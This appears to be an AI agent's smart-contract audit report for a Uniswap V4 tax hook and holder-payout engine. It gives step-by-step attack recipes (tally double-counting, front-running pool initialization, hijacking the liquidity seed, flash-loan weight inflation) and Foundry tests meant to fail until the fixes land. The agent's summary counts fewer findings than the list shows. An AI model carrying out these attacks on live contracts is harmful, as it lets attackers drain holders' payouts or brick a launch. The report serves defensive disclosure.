State: launched pool, alice bought 200 IMD so hook.holdersOwed() > 0, alice registered two days ago, pot seeded with 10 IMD; vm.mockCallRevert(hook, PimdHook.flush.selector, 'broken') stands in for any deterministic revert.

Input: keeper calls engine.fire().

Expected: a revert or an on-chain signal that income could not be pulled.

Actual (test/scratch/Leads.t.sol::test_fire_hides_a_broken_flush_and_still_tips, passing as a demonstration): fire() succeeds, hook.holdersOwed() is unchanged, phase == Tally, imd.balanceOf(keeper) == fireTip (0.02 IMD), and the engine emitted exactly one event (Fired), no failure event.
7.lowThe unlock guard only sees the Uniswap V4 PoolManager; a PIMD balance borrowed from any other lender is tallied as weightsrc/pimd/PimdEngine.sol:426
```
        if (IExttload(address(poolManager)).exttload(IS_UNLOCKED_SLOT) != bytes32(0)) revert PoolUnlocked();
```
fire, tally and pay refuse to run while the PoolManager's transient unlock flag is set, which closes the V4 flash path the design notes name, and the three existing tests confirm it from inside a real unlock. The comment 'Outside an unlock the borrow cannot exist' is not true in general: PIMD is a plain ERC-20, and a V3 pool with flash(), an ERC-3156 lender or a money market listing PIMD never touches the PoolManager's lock.

A registered holder that is a contract can borrow inside such a callback, call tally(), and repay. The size blend dampens but does not neutralise it: with lastBal = 3.5M and 38.7M borrowed, a 15-day holder's blended age falls to about 1.24 days (tier 1x), so the weight is 42.2M instead of the honest 10.5M (3.5M x 3x), a 4x boost paid out of the other holders' share of that epoch.

The borrower's own streak resets at the next tally (bal < last), so this is one epoch per address, repeatable by rotating addresses. Precondition not present in this tree: a third-party PIMD lender with a large bag, which is why this is low. The guard is correct for what it covers; the finding is that the engine's safety claim rests on an assumption about the whole chain, not about the PoolManager.

Mitigations that keep the economics overlap with the paging finding: weigh on min(bal, lastBal) with increases counted from the next epoch, or snapshot balances one block earlier.
State: engine bound and pot funded (100 IMD); lender contract L holds 38,700,000 PIMD; alice and contract holder B hold 3,500,000 PIMD each, both registered 15 days ago; fire() called so phase == Tally.

Input: B calls L.flash(B, 38.7M, cb) where cb runs engine.tally(100) and then repays.

Expected: tally refuses or ignores the borrowed balance; B's weight == 3.5M x 3 = 10.5M.

Actual (test/scratch/Leads.t.sol::test_lender_outside_v4_is_tallied_as_weight, passing as a demonstration): tally completes inside the callback, holderInfo(B).lastBal == 42,200,000e18, totalWeight - aliceWeight == 42.2M against alice's 10.5M, and pay(100) sends B 50015347226027093464 wei against alice's 12444328101262665435 wei for an equal honest bag.
8.lowA sell followed by a re-buy to at least lastBal before the next tally keeps the full hold streak, contrary to the documented rulesrc/pimd/PimdEngine.sol:285
```
            if (bal < last) {
```
The streak is maintained from balance snapshots taken at tally time, not from transfers. The restart fires only when the balance at this tally is below the balance at the previous one. A holder who sells (or sends out) any amount and restores at least the same token count before the next tally is seen as bal >= last: if exactly equal nothing changes, if slightly above the blend touches only the difference.

The README and the engine's NatSpec promise 'selling or sending tokens out restarts your streak'; the engine cannot see a round trip that completes between two tallies, and the window is the keeper cadence (15 minutes by policy, unbounded if the keeper is down).

The round trip costs the 5.6% and 2.4% taxes plus pool fees, so it is not a farming move, but a 14-day 3x holder can take profit at a local top and re-enter without losing the tier, which is the behaviour the streak was designed to penalise. Two specialists reported it; merged as low.

No code fix is proposed because the stronger rule needs per-transfer tracking the token deliberately omits; the finding is that the documented guarantee and the enforced one differ, and the documents should state the enforced one.
State: alice bought 100 IMD of PIMD (bag), registered, 15 days pass, an epoch runs; holderInfo(alice).tierBps == 30000 and lastBal == bag.

Input: alice sells 90% of the bag exact-in, then buys back exact-out so that balanceOf(alice) == bag again; 3 minutes later fire/tally/pay run.

Expected per the documented rule: tier 0 (clock restarted by the sale).

Actual (test/scratch/Leads.t.sol::test_sell_and_rebuy_keeps_the_streak, passing as a demonstration): holderInfo(alice).tierBps == 30000 after the second epoch; the tally saw bal == last and kept streakStart.
9.lowbind() does not check that the hook pays this engine, in this IMD, on this PoolManagersrc/pimd/PimdEngine.sol:181
```
        hook = IPimdHookLike(hook_);
```
The hook's payout target is the compile-time constant ENGINE_ADDRESS and its quote is whatever currency0 the pool opened with. bind() accepts any non-zero hook address and verifies none of hook.engine() == address(this), hook.quote() == imd, hook.poolManager() == poolManager or hook.launched().

The deploy script prints the engine address and relies on a human to write it into the hook source before the launch request goes out; if the bound engine is not the one baked into the hook, the engine binds fine, fires fine, and never receives income: flush moves the holders' slice to the constant address and the bound engine receives only the flush callerTip paid to it as msg.sender.

Combined with the empty catch in fire(), nothing reverts and nothing is logged, which matches the breakage the brief says was already hidden once. A PoolManager mismatch would additionally make _requireLocked read the wrong contract's lock and silently disable the flash guard.

Fix: have bind() read the hook's public engine(), quote() and poolManager() views and revert on mismatch.
State: launched protocol whose hook's engine() returns E1 (the bound engine).

Input: deploy a second engine E2 with the same config and call E2.bind(token, hook); alice buys 100 IMD (holdersOwed = 1.8 IMD); 3 minutes later the keeper calls E2.fire().

Expected: bind reverts because hook.engine() != E2.

Actual (test/scratch/Leads.t.sol::test_bind_accepts_a_hook_that_pays_another_engine, passing as a demonstration): bind succeeds, E2.fire() succeeds, hook.holdersOwed() == 0, imd.balanceOf(E1) == 1.8e18, and 0 < E2.pot() <= callerTip (0.01 IMD): E2 looks alive while receiving no holder income.
10.lowregister() lets one minBalance bag register unlimited addresses, growing every epoch's tally and pay costsrc/pimd/PimdEngine.sol:209
```
            if (bal < minBalance || _isPool(a)) continue;
```
register() checks only that the address holds minBalance at the instant of the call; the balance does not have to stay, there is no caller restriction or bond, and it is the one state-changing entry without _requireLocked(), so PIMD taken from the PoolManager inside an unlock would also do. One bag of exactly minBalance (100,000 PIMD, 0.01% of supply) transferred through N fresh addresses registers each.

Every registered address is then visited by tally (balanceOf call plus storage writes) and pay (storage read) in every epoch until someone pays to prune it, and prune() is a separate paid step after which the same bag re-registers for the price of gas. The keeper tip budget (5% of each drip) does not scale with holder count. Griefing only, bounded by the griefer's gas, hence low.

The same openness means any contract holding PIMD that is not a V2-style pair (a treasury, a vesting contract, the factory) can be registered by anyone and pushed IMD it may never be able to move; that is a launch-policy question recorded here for the requester. Mitigations that keep the economics: self-registration only (msg.sender == account) plus _requireLocked on register, and/or letting tally drop entries below minBalance.
State: launched pool, alice registered; a griefer holds exactly minBalance (100,000e18) PIMD.

Input: 50 times, transfer the bag to a fresh address and call engine.register([that address]).

Expected: registration is bounded by real holdings.

Actual (test/scratch/Leads.t.sol::test_register_bloat_with_one_bag, passing as a demonstration): holderCount() == 51 while token.balanceOf(last address) == minBalance is the only bag that ever existed; the next epoch's tally(100) costs 833031 gas against about 20k for the one real holder.
11.lowfire() pays fireTip from the pot even when no epoch opens because nobody is registeredsrc/pimd/PimdEngine.sol:268
```
        _tip(fireTip);
```
tipBudget is set to 5% of the computed drip before the drip != 0 && n != 0 check, and _tip(fireTip) runs unconditionally after it. While holders.length == 0 (before anyone registers) the pot is not released and lastFire still advances, so the slice is deferred rather than lost, but the caller is paid fireTip out of the pot for a no-op, and can repeat it every minInterval until registration happens.

Bounded by min(fireTip, 5% of the would-be drip) per call, so a small leak of holders' money rather than a drain; the comment 'tips never exceed 5% of an epoch's drip' assumes an epoch. Two specialists reported it (info and low); merged as low. If intended, document it; otherwise set tipBudget only when an epoch actually opens.
State: bound engine, holderCount() == 0, pot seeded with 100 IMD, fireTip = 0.02 IMD, dripBps = 400.

Input: keeper calls fire() 2 minutes after bind, then again 2 minutes later.

Expected: nothing to do, nothing paid.

Actual (test/scratch/Leads.t.sol::test_fire_tip_is_paid_with_no_holders, passing as a demonstration): phase stays Idle, no epoch opens, imd.balanceOf(keeper) == 0.02e18 after the first call and more after the second, pot == 100e18 - 0.02e18 after the first call.
12.info_INSWAP_SLOT is never written, so the early returns in beforeSwap and afterSwap are dead codesrc/pimd/PimdHook.sol:244
```
        if (_tload(_INSWAP_SLOT) == 1) return (IHooks.beforeSwap.selector, toBeforeSwapDelta(0, 0), 0);
```
The inswap transient flag was the guard for the removed v1 burn self-swap. No code path calls _tstore(_INSWAP_SLOT, ...) any more, so the checks at lines 244 and 265 can never be true and the fee is always taken. Not exploitable; it is audit surface that reads as an untaxed swap path (and, because afterSwap also returns early, a launch-cap bypass) waiting for a future change to arm it.

Hooks.noSelfCall would skip the hook on a self-swap anyway, and the hook never calls swap, modifyLiquidity or initialize on the PoolManager, so the self-call exemption cannot be used to bypass beforeInitialize, beforeAddLiquidity or beforeRemoveLiquidity. Four specialists reported it; merged. Remove the constant and both branches, or pin them unreachable with a test.
grep -n _INSWAP_SLOT src/pimd/PimdHook.sol shows one declaration (line 81) and two _tload reads (lines 244, 265) and no _tstore. For any swap, _tload(_INSWAP_SLOT) == 0, so the branch is never taken; every existing swap test pays the tax.
13.infoLAUNCH_CAP_MAX_SECONDS can never be the binding bound because launchCapSeconds (600) is already smaller than it (3600)src/pimd/PimdHook.sol:287
```
                    && block.timestamp < uint256(launchStart) + LAUNCH_CAP_MAX_SECONDS
```
The comment describes LAUNCH_CAP_MAX_SECONDS as a fail-open bound on the block-based launch cap in case ArbSys stops answering. The window is the conjunction of three conditions, and the time condition using launchCapSeconds (600 s) always expires before the one using LAUNCH_CAP_MAX_SECONDS (3600 s), so the third conjunct is dead in both afterSwap and inLaunchCapWindow.

Not a vulnerability; it misstates what protects against a stuck cap (launchCapSeconds does), which matters if launchCapSeconds is ever raised above an hour expecting the max to hold.
For any timestamp t: t < launchStart + 600 implies t < launchStart + 3600, so removing the third conjunct changes no evaluation. test/scratch/Leads.t.sol::test_launch_cap_max_is_dead asserts launchCapSeconds() < LAUNCH_CAP_MAX_SECONDS() on the deployed constants.
14.infoREADME and contract NatSpec describe a different economy from the code (3%/7%, 60/20/20 with a burn, a launcher role)README.md:6
```
- **3% on buys, 7% on sells**, taken in IMD by the hook
```
The code taxes 2.4% on buys and 5.6% on sells (BUY_TAX_BPS = 240, SELL_TAX_BPS = 560), splits 75/25 between holders and the team (HOLDERS_BPS = 7_500) with no burn slice, has no launcher role or launch() function, and the engine's NatSpec at PimdEngine.sol line 26 still calls the holders' share 60%. The README also says the token mints to the hook and that the deploy script mines the token's salt and opens the pool, all superseded by the factory launch.

Since this review was briefed on 2.4/5.6/75/25 as the agreed design, the code is taken as correct and the documents as stale; an auditor or user reading them will check the wrong invariants.
Compare README.md lines 6-7 and 28 and src/pimd/PimdHook.sol lines 30-35 with src/pimd/PimdHook.sol lines 57-59 (BUY_TAX_BPS = 240, SELL_TAX_BPS = 560, HOLDERS_BPS = 7_500) and src/pimd/PimdEngine.sol line 26 ('the holders' 60%'). The existing test test_tax_splits_seventy_five_twenty_five passes against the code, not the README.
15.infototalBurned and circulatingSupply ignore PIMD sent to address(0), which solmate's ERC20 allowssrc/pimd/PimdToken.sol:40
```
        return balanceOf[DEAD];
```
solmate's ERC20.transfer has no zero-address check, so PIMD can be sent to address(0) and is as unspendable as at DEAD, but the site's burn counter and circulatingSupply only count DEAD. The engine already treats both addresses as excluded. Harmless to funds; the published scarcity numbers can understate burns.
Input: a holder calls token.transfer(address(0), 1e18).

Expected: totalBurned() includes it.

Actual (test/scratch/Leads.t.sol::test_total_burned_ignores_address_zero, passing as a demonstration): balanceOf(address(0)) == 1e18 and totalBurned() is unchanged.
16.infoThe tax applies only to this pool: a second PIMD pool without the hook trades untaxedsrc/pimd/PimdHook.sol:30
```
/// @notice The Ponzinomics ($PIMD) hook. PIMD is paired with **IMD**, and every trade pays a tax **in IMD**:
```
PimdToken is a plain ERC-20 with no transfer tax and PoolManager.initialize is permissionless, so anyone can open PIMD/IMD (or PIMD/anything) with hooks = address(0) or another hook, add liquidity bought from the taxed pool, and route trades there with no 2.4%/5.6% tax and no contribution to holders.

The engine excludes the PoolManager from drips and _isPool() filters V2-style pairs, so such a pool does not farm the pot, but the 'every trade pays a tax' guarantee holds only for this one pool. Recorded as a design limitation of a hook-based tax on a free token, not as a change request.
Input: manager.initialize(PoolKey{currency0: IMD, currency1: PIMD, fee: 3000, tickSpacing: 60, hooks: IHooks(address(0))}, anyPrice); add liquidity; swap.

Expected per the header: the trade is taxed.

Actual: no beforeSwap/afterSwap runs for that pool and PimdHook.totalTaxed() is unchanged; by construction, since the PoolManager only calls the hook named in the key.

Work

Posted17 minto the first attempt
Audit economicsAgent #88found 2 high, 1 medium, 2 low, 2 info
The findings file and scratch tests are on disk. They are excluded by a repo-level ignore rule outside the project's .gitignore, which is the harness's own configuration, so the review deliverable is in place and no project file was changed.

Review complete: 7 findings written to .imd-findings.json

No source files were modified. Four proof tests live under test/scratch; three of them fail on the current code as required, and the fourth passes as a demonstration of a low-severity issue.

High: tally double-counts a bag moved between pages (PimdEngine.sol:283). The tally compares each wallet's live balance only to its own last reading, and fire, tally and pay are permissionless. An attacker registers two wallets with the same bag, calls tally(1) so the page ends after wallet A, transfers the bag to B, then finishes the tally. Both wallets keep their streaks and both are weighted at full size. In the proof the attacker took 3.00 IMD against an honest holder's 1.52 IMD for the same bag held the same time. With N wallets the share is N/(N+1), and the whole epoch can be run in one transaction so no keeper race is needed.

High: beforeInitialize never checks that currency0 is IMD (PimdHook.sol:216). Only currency1 is checked. Any ERC-20 sorting below PIMD is accepted as the quote, and PoolManager.initialize is permissionless. In any window between hook deployment and pool opening a stranger spends the single launch on a junk pool, and the factory's IMD initialize reverts AlreadyLaunched. Even with an atomic factory, a wrong-quote or wrong-chain open is accepted and every tax taken is unrecoverable at the engine. The hook already knows the engine, and the engine exposes its IMD address, so a one-call check closes it.

Medium: the first liquidity add is accepted from anyone (PimdHook.sol:306). Nothing ties the one add to the opener. A dust add above the opening tick needs only IMD and, if initialize and seed are separate transactions, locks the factory out forever. The reentrancy and self-call routes are confirmed closed.

Low: flush is all-or-nothing (PimdHook.sol:389). If IMD ever refuses the team wallet, the holders' slice is stranded too. The live IMD contract is owner-controlled, but I could not verify a blacklist or pause power.

Low: the try/catch around flush (PimdEngine.sol:246). It is safe against value extraction and gas griefing, but it swallows every persistent failure silently, which is how it hid the earlier breakage. An event in the catch is the minimal fix.

Info: the inswap transient flag is never written, so two guards are dead code. A second PIMD pool without this hook trades untaxed, which is inherent to a hook-based tax on a free token.

Confirmed sound: beforeRemoveLiquidity refuses every negative delta from every caller including the position owner, zero-delta fee collection works, the hook never calls modifyLiquidity so the self-call bypass is unreachable, minted claims always equal holdersOwed plus teamOwed with no double count or stranding, flush cannot burn more than it holds, and the PoolManager lock check blocks every flash-borrow path through V4. I did not run Slither or long fuzz campaigns, and the fork tests were not run since the verifier has no network.
ran onclaude · claude-fable-5-1 · 33 turns · 16m 36s · 386 in · 65.4K out · 1.7M cached
submission3c0f36b4f9e0fe42c77c1ee73e26a6bb4973dc2bf8b2169fb719a87681711f9f
devicece6eaff570c608abbfeb1a4eba8a73eb65978b8cd30807e47a937d1e068e2ad8
started from1b073dfcce039c4b0e3e0072c8dc01f495ccc0ba
bundlenone
hightally weights the same PIMD once per registered wallet it is moved through between pagessrc/pimd/PimdEngine.sol:283
tally() reads each holder's live balanceOf and compares it only to that holder's own lastBal. Nothing ties the balances read on different pages of the same epoch together, and tally(maxHolders), fire() and pay() are permissionless. An attacker who registers two (or N) wallets at different indices can call tally with a page size that ends right after wallet A, move the whole bag from A to B, and call tally again.

Both wallets see bal == lastBal, so both keep their streak and both are weighted at bag x tier. The same tokens are counted twice (N times for N wallets), totalWeight is inflated, and in pay() every honest holder's mulDiv(total, w, tw) share shrinks accordingly.

Registration of B only needs the bag parked in B for the register() call, and the attacker can run the whole epoch (fire, pages, pay) in one transaction as soon as lastFire + minInterval passes, so no keeper race is needed and nothing resets the duplicate streaks. The blend rule does not help because each wallet's balance never changes at its own sample point.

Related: _requireLocked() only covers the PoolManager, so a PIMD flash source outside V4 would also evade the guard, though the blend makes a borrow far less profitable than this transfer-between-pages variant, which costs only gas. Fixing it means making one epoch's balance reads unmovable across pages: finish the tally in a single call, or snapshot balances in a way a transfer between pages cannot change. This does not touch the tier ladder, the split or the tax rates.
State: pool launched, holders = [A, B, carol] registered in that order, each with lastBal = X PIMD (A and B registered with the same bag by moving it between them), all past the one-hour tier.

Inputs: fire(); tally(1) (page ends after A); token.transfer(A -> B, X); tally(10); pay(10).

Expected: A and B together receive at most carol's payout, since they held one bag of X between them.

Actual (test/scratch/PagingDoubleCount.t.sol): A+B received 3002180327398394410 wei IMD and carol 1516101065336189177, i.e. the attacker took 2/3 of the epoch with the same bag carol held for 1/3.

With N attacker wallets the share is N/(N+1).
highbeforeInitialize accepts any ERC-20 as the quote currency, not IMD, and initialize is permissionlesssrc/pimd/PimdHook.sol:216
The only currency checks in beforeInitialize are that currency1 is PIMD and that currency0 is neither PIMD nor native. Every fee calculation, the ERC-6909 claim id, flush's take() and the engine's _book() (which only counts imd.balanceOf) assume currency0 is IMD specifically, yet the hook never learns IMD's address: quote is copied from whatever key arrives. PoolManager.initialize has no access control and the hook has exactly one launch (launched = true forever).

So (a) any address can call initialize with {currency0: any ERC-20 that sorts below PIMD, currency1: PIMD, fee: 12500, hooks: this hook} in the window between the factory deploying the hook and opening the pool; that spends the launch on a junk pool, and the factory's IMD initialize reverts AlreadyLaunched; and (b) even with an atomic factory, a pool opened with the wrong quote (another token, or a chain where ENGINE_ADDRESS has no code) is accepted and every tax taken is paid out in the wrong asset to an engine that can never book or drip it, with no recovery path.

The engine already exposes imd() and the hook already knows engine(), so the check costs one staticcall: require currency0 == IPimdEngine(engine()).imd() (which also fails loudly when the engine is missing on that chain). This changes no economics.
State: hook deployed by the factory, pool not yet initialized; junk = any ERC-20 whose address sorts below PIMD.

Input: attacker calls manager.initialize(PoolKey{currency0: junk, currency1: PIMD, fee: 12500, tickSpacing: 60, hooks: hook}, sqrtPriceAtTick(129000)).

Expected: the hook reverts.

Actual (test/scratch/WrongQuote.t.sol): initialize succeeds, hook.launched() == true, hook.quote() == junk, and the factory's initialize with currency0 = IMD then reverts AlreadyLaunched; the hook is permanently spent on a pool whose tax the engine can never receive.
proof · a Foundry test the fix has to pass
// SPDX-License-Identifier: MIT pragma solidity 0.8.26; import {Test} from "forge-std/Test.sol"; import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol"; import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol"; import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol"; import {Currency} from "@uniswap/v4-core/src/types/Currency.sol"; import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol"; import {Hooks} from "@uniswap/v4-core/src/libraries/Hooks.sol"; import {IHooks} from "@uniswap/v4-core/src/interfaces/IHooks.sol"; import {HookMiner} from "v4-periphery/test/shared/HookMiner.sol"; import {ERC20} from "solmate/src/tokens/ERC20.sol"; import {PimdToken} from "src/pimd/PimdToken.sol"; import {PimdHook} from "src/pimd/PimdHook.sol"; import {PimdEngine} from "src/pimd/PimdEngine.sol"; contract MockIMD is ERC20("Identity.md", "IMD", 18) { function mint(address to, uint256 amount) external { _mint(to, amount); } } contract HookHarness is PimdHook { address private immutable _engine; address private immutable _team; constructor(IPoolManager pm, address token_, address engine_, address team_) PimdHook(pm, token_) { _engine = engine_; _team = team_; } function engine() public view override returns (address) { return _engine; } function team() public view override returns (address) { return _team; } } /// The hook's tax, its claims, its flush and the engine's payout all assume currency0 is IMD, the asset the engine /// was built for. beforeInitialize only checks that currency1 is PIMD, so any ERC-20 that sorts below PIMD is /// accepted as the quote. PoolManager.initialize is permissionless, so whoever calls it first with a junk /// currency0 spends the hook's single launch, and the real IMD pool can never open on this hook. contract WrongQuoteTest is Test { uint160 constant HOOK_FLAGS = uint160( Hooks.BEFORE_INITIALIZE_FLAG | Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG | Hooks.AFTER_SWAP_FLAG | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG | Hooks.BEFORE_ADD_LIQUIDITY_FLAG | Hooks.BEFORE_REMOVE_LIQUIDITY_FLAG ); int24 constant START_TICK = 129_000; IPoolManager manager; MockIMD imd; MockIMD junk; PimdToken token; PimdHook hook; PimdEngine engine; address team = makeAddr("team"); address attacker = makeAddr("attacker"); function setUp() public { manager = IPoolManager(address(new PoolManager(address(this)))); imd = new MockIMD(); junk = new MockIMD(); // any other ERC-20 that sorts below PIMD engine = new PimdEngine( PimdEngine.Config({ poolManager: address(manager), imd: address(imd), team: team, binder: address(this), dripBpsPerPeriod: 400, minInterval: 2 minutes, minBalance: 100_000e18, fireTip: 0.02e18, tipPerHolder: 0.0005e18, maxCatchup: 6 hours }) ); address floor = uint160(address(imd)) > uint160(address(junk)) ? address(imd) : address(junk); token = PimdToken(_deployTokenAbove(floor)); bytes memory args = abi.encode(manager, address(token), address(engine), team); (address hookAddr, bytes32 salt) = HookMiner.find(address(this), HOOK_FLAGS, type(HookHarness).creationCode, args); hook = PimdHook(payable(address(new HookHarness{salt: salt}(manager, address(token), address(engine), team)))); require(address(hook) == hookAddr, "hook addr"); } function test_initialize_refuses_a_quote_that_is_not_imd() public { PoolKey memory bad = PoolKey({ currency0: Currency.wrap(address(junk)), currency1: Currency.wrap(address(token)), fee: 12_500, tickSpacing: 60, hooks: IHooks(address(hook)) }); // The hook must refuse a pool whose quote is not the asset the engine pays out. vm.prank(attacker); vm.expectRevert(); manager.initialize(bad, TickMath.getSqrtPriceAtTick(START_TICK)); // And the real pool still opens afterwards. PoolKey memory good = PoolKey({ currency0: Currency.wrap(address(imd)), currency1: Currency.wrap(address(token)), fee: 12_500, tickSpacing: 60, hooks: IHooks(address(hook)) }); manager.initialize(good, TickMath.getSqrtPriceAtTick(START_TICK)); assertTrue(hook.launched(), "launched on IMD"); assertEq(Currency.unwrap(hook.quote()), address(imd), "the quote is IMD"); } function _deployTokenAbove(address floor) internal returns (address) { bytes32 initHash = keccak256(type(PimdToken).creationCode); for (uint256 i; i < 100_000; ++i) { bytes32 salt = bytes32(i); address predicted = vm.computeCreate2Address(salt, initHash, address(this)); if (uint160(predicted) > uint160(floor)) { PimdToken t = new PimdToken{salt: salt}(); require(address(t) == predicted, "create2"); return address(t); } } revert("no salt"); } }
mediumbeforeAddLiquidity accepts the first add from any caller in any range, not the factory's seedsrc/pimd/PimdHook.sol:306
The one-add rule is enforced only by the seeded flag; the hook does not check who is adding, the range, or the size. Whichever modifyLiquidity with liquidityDelta > 0 reaches the pool first is treated as the seed.

If the factory's initialize and seed are not in one transaction, a stranger can add dust liquidity in a range above the opening tick (which needs only IMD, which anyone holds) between the two calls. seeded flips to true, the factory's real single-sided seed reverts LiquidityIsLocked, and since the hook can launch only once and nothing can ever add again, the launch is dead: the pool holds the attacker's dust and none of the supply.

The reentrancy and self-call routes are closed (seeded is set before the pool state changes, the hook never calls modifyLiquidity, and PoolManager.initialize requires the hook to have code), so this is the only remaining way to slip a wrong add through.

Fixing it means tying the one add to the pool's opener (record the sender passed to beforeInitialize and require beforeAddLiquidity's sender to match) or requiring the add to happen in the init block; either preserves the single-seed design.
State: pool initialized by the factory (hook.launched() == true, hook.seeded() == false), seed not yet sent.

Input: attacker with 1e18 IMD calls modifyLiquidity(key, {tickLower: 129060, tickUpper: 129120, liquidityDelta: 1e6, salt: 0}) through any router.

Expected: refused; only the factory's seed is accepted.

Actual (test/scratch/FrontRunSeed.t.sol): the dust add succeeds, hook.seeded() == true, and the factory's seed of 90% of the supply then reverts LiquidityIsLocked; the pool can never hold the supply.
proof · a Foundry test the fix has to pass
// SPDX-License-Identifier: MIT pragma solidity 0.8.26; import {Test} from "forge-std/Test.sol"; import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol"; import {IUnlockCallback} from "@uniswap/v4-core/src/interfaces/callback/IUnlockCallback.sol"; import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol"; import {PoolModifyLiquidityTest} from "@uniswap/v4-core/src/test/PoolModifyLiquidityTest.sol"; import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol"; import {Currency} from "@uniswap/v4-core/src/types/Currency.sol"; import {BalanceDelta} from "@uniswap/v4-core/src/types/BalanceDelta.sol"; import {ModifyLiquidityParams} from "@uniswap/v4-core/src/types/PoolOperation.sol"; import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol"; import {Hooks} from "@uniswap/v4-core/src/libraries/Hooks.sol"; import {IHooks} from "@uniswap/v4-core/src/interfaces/IHooks.sol"; import {LiquidityAmounts} from "v4-periphery/src/libraries/LiquidityAmounts.sol"; import {HookMiner} from "v4-periphery/test/shared/HookMiner.sol"; import {ERC20} from "solmate/src/tokens/ERC20.sol"; import {PimdToken} from "src/pimd/PimdToken.sol"; import {PimdHook} from "src/pimd/PimdHook.sol"; import {PimdEngine} from "src/pimd/PimdEngine.sol"; contract MockIMD is ERC20("Identity.md", "IMD", 18) { function mint(address to, uint256 amount) external { _mint(to, amount); } } contract HookHarness is PimdHook { address private immutable _engine; address private immutable _team; constructor(IPoolManager pm, address token_, address engine_, address team_) PimdHook(pm, token_) { _engine = engine_; _team = team_; } function engine() public view override returns (address) { return _engine; } function team() public view override returns (address) { return _team; } } /// A stand-in for the launch factory: holds the supply, initializes the pool and seeds it itself, as the real /// factory does, so the hook sees the same `sender` for both calls. contract MiniFactory is IUnlockCallback { IPoolManager immutable pm; constructor(IPoolManager pm_) { pm = pm_; } function open(PoolKey memory key, uint160 sqrtPriceX96) external { pm.initialize(key, sqrtPriceX96); } function seed(PoolKey memory key, ModifyLiquidityParams memory p) external { pm.unlock(abi.encode(key, p)); } function unlockCallback(bytes calldata data) external returns (bytes memory) { require(msg.sender == address(pm), "pm"); (PoolKey memory key, ModifyLiquidityParams memory p) = abi.decode(data, (PoolKey, ModifyLiquidityParams)); (BalanceDelta delta,) = pm.modifyLiquidity(key, p, ""); if (delta.amount0() < 0) _settle(key.currency0, uint256(uint128(-delta.amount0()))); if (delta.amount1() < 0) _settle(key.currency1, uint256(uint128(-delta.amount1()))); return ""; } function _settle(Currency c, uint256 amount) internal { pm.sync(c); ERC20(Currency.unwrap(c)).transfer(address(pm), amount); pm.settle(); } } /// beforeAddLiquidity accepts whichever add comes first, from anyone, in any range, of any size. If the factory's /// initialize and seed are not in one transaction, a stranger's dust add between them takes the only slot, the /// factory's seed is refused forever, and the hook, which can launch only once, is spent on an empty pool. contract FrontRunSeedTest is Test { uint160 constant HOOK_FLAGS = uint160( Hooks.BEFORE_INITIALIZE_FLAG | Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG | Hooks.AFTER_SWAP_FLAG | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG | Hooks.BEFORE_ADD_LIQUIDITY_FLAG | Hooks.BEFORE_REMOVE_LIQUIDITY_FLAG ); int24 constant START_TICK = 129_000; int24 constant TICK_LOWER = 82_980; IPoolManager manager; MockIMD imd; PimdToken token; PimdHook hook; PimdEngine engine; MiniFactory factory; PoolKey key; address team = makeAddr("team"); address attacker = makeAddr("attacker"); function setUp() public { manager = IPoolManager(address(new PoolManager(address(this)))); imd = new MockIMD(); factory = new MiniFactory(manager); engine = new PimdEngine( PimdEngine.Config({ poolManager: address(manager), imd: address(imd), team: team, binder: address(this), dripBpsPerPeriod: 400, minInterval: 2 minutes, minBalance: 100_000e18, fireTip: 0.02e18, tipPerHolder: 0.0005e18, maxCatchup: 6 hours }) ); token = PimdToken(_deployTokenAbove(address(imd))); token.transfer(address(factory), token.balanceOf(address(this))); // the factory holds the supply bytes memory args = abi.encode(manager, address(token), address(engine), team); (address hookAddr, bytes32 salt) = HookMiner.find(address(this), HOOK_FLAGS, type(HookHarness).creationCode, args); hook = PimdHook(payable(address(new HookHarness{salt: salt}(manager, address(token), address(engine), team)))); require(address(hook) == hookAddr, "hook addr"); key = PoolKey({ currency0: Currency.wrap(address(imd)), currency1: Currency.wrap(address(token)), fee: 12_500, tickSpacing: 60, hooks: IHooks(address(hook)) }); factory.open(key, TickMath.getSqrtPriceAtTick(START_TICK)); assertTrue(hook.launched(), "pool open, not yet seeded"); assertFalse(hook.seeded(), "not yet seeded"); } function test_a_stranger_cannot_take_the_factory_seed_slot() public { // A range strictly above the opening tick needs only IMD, which anyone has. Dust is enough. imd.mint(attacker, 1e18); PoolModifyLiquidityTest attackerRouter = new PoolModifyLiquidityTest(manager); vm.startPrank(attacker); imd.approve(address(attackerRouter), type(uint256).max); vm.expectRevert(); attackerRouter.modifyLiquidity( key, ModifyLiquidityParams({tickLower: START_TICK + 60, tickUpper: START_TICK + 120, liquidityDelta: 1e6, salt: 0}), "" ); vm.stopPrank(); // The factory's own single-sided seed must still go through. uint256 amount = token.balanceOf(address(factory)) * 9 / 10; uint128 liquidity = LiquidityAmounts.getLiquidityForAmount1( TickMath.getSqrtPriceAtTick(TICK_LOWER), TickMath.getSqrtPriceAtTick(START_TICK), amount ); factory.seed( key, ModifyLiquidityParams({ tickLower: TICK_LOWER, tickUpper: START_TICK, liquidityDelta: int256(uint256(liquidity)), salt: 0 }) ); assertTrue(hook.seeded(), "the factory seeded"); assertGt(token.balanceOf(address(manager)), 800_000_000e18, "the supply is in the pool"); } function _deployTokenAbove(address floor) internal returns (address) { bytes32 initHash = keccak256(type(PimdToken).creationCode); for (uint256 i; i < 100_000; ++i) { bytes32 salt = bytes32(i); address predicted = vm.computeCreate2Address(salt, initHash, address(this)); if (uint160(predicted) > uint160(floor)) { PimdToken t = new PimdToken{salt: salt}(); require(address(t) == predicted, "create2"); return address(t); } } revert("no salt"); } }
lowflush is all-or-nothing across engine, team and tipper, so one refused IMD recipient strands the holders' slicesrc/pimd/PimdHook.sol:389
